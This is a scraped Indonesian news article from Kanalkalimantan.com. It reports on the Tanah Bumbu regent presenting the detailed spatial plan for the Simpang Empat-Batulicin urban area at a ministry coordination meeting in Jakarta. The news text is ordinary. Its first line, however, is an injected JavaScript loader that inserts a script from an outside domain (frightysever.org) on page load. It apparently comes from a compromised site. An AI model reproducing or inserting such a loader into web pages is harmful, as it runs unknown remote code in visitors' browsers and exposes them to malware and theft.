(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Bupati Tanah Bumbu menghadiri rapat koordinasi lintas sektor Kementerian Agraria dan Tata Ruang/Badan Pertanahan Nasional Direktorat Jenderal Tata Ruang, di Hotel Sheraton Grand Jakarta Gandaria City, Jakarta Selatan, Senin (25/7/2022) siang.
Rakor digelar membahas Rancangan Peraturan Bupati Mempawah tentang Rencana Detail Tata Ruang (RDTR), Kawasan Perkotaan Mempawah, Rancangan Peraturan Bupati Tanah Bumbu tentang RDTR Kawasan Perkotaan Simpang Empat-Batulicin, dan Rancangan Peraturan Bupati Minahasa tentang RDTR Kawasan Pariwisata Tombariri.
Bupati Tanah Bumbu HM Zairullah Azhar memaparkan bahwa lingkup Wilayah Perencanaan (WP) RDTR Simpang Empat-Batulicin sebagai pertimbangan yaitu perkantoran Batulicin sebagai PKWP, KI Batulicin sebagai KSP dan KSK, dari sudut kepentingan pertumbuhan ekonomi, terdapat KI Batulicin sebagai Proyek Strategis Nasional, KI prioritas dalam RPJMN 2020-2024.
Kabupaten Tanah Bumbu, telah mengalami perkembangan pesat dengan jumlah penduduk Tanah Bumbu kurang lebih sekitar 325.346 jiwa, didukung penghasilan dari sektor pertambangan, sektor perkebunan, sektor pariwisata, sektor pertanian, sektor perikanan dan lainnya.
Baca juga : Tim Voli Putri Kotabaru Raih Medali Perak Popda 2022
“Sehingga muatan kebijakan RDTR memang sangat diperlukan, melalui program kerja Pemerintah Kabupaten Tanah Bumbu berencana membangun Bendungan Kusan, upaya strategis ini dilakukan untuk meningkatkan pertumbuhan perekonomian masyarakat, Kabupaten Tanah Bumbu Provinsi Kalimantan Selatan siap sebagai penyangga Ibu Kota Negara,†beber Bupati.
Kecamatan Simpang Empat-Batulicin, memiliki luas yaitu 5.294,68 hektare, isu pembangunan wilayah perencanaan ialah risiko tinggi terhadap bencana banjir dan kebakaran lahan, penurunan kualitas sungai, alih fungsi lahan semi rawa menjadi lahan terbangun.
“Tujuan dari penataan RDTR perkotaan Simpang Empat-Batulicin adalah mewujudkan Kabupaten Tanah Bumbu sebagai pusat pelabuhan, industri, perdagangan dan pariwisata terdepan di Kalimantan Selatan, serta menuju masyarakat yang maju, unggul, mandiri, sejahtera, religius dan berakhlak mulia serta berintelektual tinggi,†tegas Zairullah.
Selain manfaat tersebut, penataan kawasan perkotaan Simpang Empat-Batulicin adalah untuk mewujudkan kawasan pusat pemerintahan kabupaten, pusat perdagangan jasa, transportasi, dan pendukung kawasan industri yang berkelanjutan.
Baca juga : Lepas Rindu dari Balik Pagar Asrama Haji Banjarmasin
“Melalui penetapan RDTR Kawasan Perkotaan Simpang Empat-Batulicin ini, diharapkan program pembangunan lebih terarah dan investasi lebih mudah masuk ke kawasan perkotaan Simpang Empat-Batulicin melalui Online Single Submission,†sampainya.
Bupati Zairullah menjelaskan tentang struktur ruang rencana, beberapa diantaranya merupakan kajian dalam bentuk, pengembangan pusat pelayanan, rencana jaringan transportasi, rencana jaringan energi dan rencana pola ruang. RTH murni terhadap luas deliniasi WP 14,52%, RTH murni dan zona PS terhadap luas deliniasi 17,06%.
RTH murni dan PS terhadap luas lahan terbangun 19,72%. Disamping itu juga, ada pemaparan terkait PPK Batulicin sebagai Central Business District (CBD) dan rimba kota, serta lahan sawah dilindungi (LSD), yang disepakati di kawasan perkotaan Simpang Empat-Batulicin adalah seluas 55,4 hektare.
Plt Direktur Jenderal Tata Ruang, Kementerian ATR/BPN, Ir Gabriel Triwibawa menyampaikan dasar penyelenggaraan penataan ruang sebagai amanah UU Nomor 11 tahun 2020 tentang Cipta Kerja.
Baca juga : Pegawai Bappedalitbang Diganjar Penghargaan Guna Tingkatkan Kinerja
“Ketentuan muatan rencana tata ruang yang diintegrasikan pada pembahasan lintas sektor pasal 63 PP 21 tahun 2021 pembahasan lintas sektor,†ujarnya.
Sebagaimana dimaksud dalam pasal 62 ayat 1 huruf d, dilaksanakan untuk mengintegrasikan program/kegiatan sektor, kegiatan yang bersifat strategis nasional, batas daerah, garis pantai, dan kawasan hutan.
Direktur Bina Perencanaan Tata Ruang Daerah Wilayah II Rahma Julianti, menyampaikan, delineasi wilayah perencanaan RDTR kawasan perkotaan Simpang Empat-Batulicin, Kabupaten Tanah Bumbu terdapat 4 kelurahan dan 8 desa terdata.
Batas wilayah perencanaan sebelah utara Kecamatan Batulicin (Desa Sarigadung, Desa Antasari, dan Kelurahan Tungkaran Pangeran, sebelah timur Selat Laut dan Pulau Swangi, sebelah selatan Kecamatan Batulicin, Desa Kersik Putih dan Kelurahan Gunung, dan sebelah barat Kecamatan BatuLicin, Desa Sukamaju, Desa Maju Bersama, dan Kelurahan Gunung. (Kanalkalimantan.com/ftr)
Reporter : ftr
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.